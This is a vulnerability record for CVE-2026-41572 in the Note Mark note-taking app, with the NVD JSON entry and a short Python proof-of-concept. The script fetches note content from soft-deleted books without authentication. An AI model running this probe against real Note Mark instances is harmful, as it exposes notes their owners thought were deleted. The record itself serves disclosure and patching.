CVE-2026-41572

import requests # Target URL of the vulnerable Note Mark instance target_url = "http://target-domain.com" # The ID or slug of a note that belongs to a soft-deleted book note_id = "1" # Endpoint to access note content # Vulnerable endpoints include /api/notes/{id}, /api/notes/{id}/content endpoint = f"{target_url}/api/notes/{note_id}/content" try: # Send GET request without authentication response = requests.get(endpoint) # Check if the note content is still accessible (HTTP 200 OK) if response.status_code == 200: print(f"[+] Vulnerability Confirmed! Note content retrieved:") print(response.text) else: print(f"[-] Note not accessible. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-41572", "sourceIdentifier": "[email protected]", "published": "2026-05-04T18:16:29.763", "lastModified": "2026-05-07T15:43:39.827", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Note Mark is an open-source note-taking application. Prior to version 0.19.3, after a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw \"JOIN books ...\" clauses used by the note and asset queries. This issue has been patched in version 0.19.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/enchant97/note-mark/releases/tag/v0.19.3", "source": "[email protected]"}, {"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-3gr9-485j-v4xf", "source": "[email protected]"}, {"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-3gr9-485j-v4xf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}